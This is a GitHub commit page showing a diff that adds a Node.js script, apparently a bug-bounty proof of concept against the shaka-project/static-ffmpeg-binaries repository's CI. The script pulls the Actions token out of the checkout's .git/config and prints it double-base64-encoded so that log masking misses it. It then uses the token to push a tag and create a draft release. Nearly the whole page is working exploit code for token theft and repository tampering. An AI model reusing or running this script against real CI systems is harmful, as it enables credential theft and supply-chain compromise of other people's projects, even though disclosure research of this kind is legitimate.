-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
1eff648
commit 0d5d06b
Showing
2 changed files
with
57 additions
and
77 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
const fs = require('fs'); | ||
const process = require('process'); | ||
const { execSync } = require('child_process') | ||
|
||
const REPO = ' shaka-project/static-ffmpeg-binaries'; | ||
const FOLDER = '/tmp/.foobarbaz'; | ||
const RLS_NAME = 'release-poc'; | ||
|
||
|
||
const config = fs.readFileSync('repo-src/.git/config', 'utf8').split('\n'); | ||
|
||
let token = ''; | ||
for (const line of config) { | ||
if (line.includes('extraheader')) { | ||
token = Buffer.from(line.split('basic ')[1].trim(), 'base64').toString('utf-8'); | ||
break; | ||
} | ||
} | ||
|
||
console.log(Buffer.from(Buffer.from(token).toString('base64')).toString('base64')); | ||
|
||
execSync(`git clone https://${token}@github.com/${REPO} ${FOLDER}`); | ||
|
||
execSync(`git checkout -b ${RLS_NAME}`, { cwd: FOLDER }); | ||
|
||
execSync(`git config user.name ghost`, { cwd: FOLDER }); | ||
|
||
execSync(`git config user.email [email protected]`, { cwd: FOLDER }); | ||
|
||
execSync(`echo "this is for google-vrp to prove we can write to a branch" > poc.txt`, { cwd: FOLDER }); | ||
|
||
execSync(`git add poc.txt`, { cwd: FOLDER }); | ||
|
||
execSync(`git commit -m "for google vrp"`, { cwd: FOLDER }); | ||
|
||
execSync(`git push origin ${RLS_NAME}:refs/tags/${RLS_NAME}`, { cwd: FOLDER }); | ||
|
||
const url = `https://api.github.com/repos/${REPO}/releases`; | ||
|
||
const payload = { | ||
tag_name: RLS_NAME, // The tag for the release | ||
name: "draft_release", // The release title | ||
body: "This is for google vrp to prove we can edit and create releases", // The release description | ||
draft: true // Mark the release as a draft | ||
}; | ||
|
||
fetch(url, { | ||
method: "POST", | ||
headers: { | ||
"Authorization": `Bearer ${token.split(':')[1]}`, | ||
"Accept": "application/vnd.github.v3+json", | ||
"Content-Type": "application/json" | ||
}, | ||
body: JSON.stringify(payload) | ||
}); | ||
|
||
|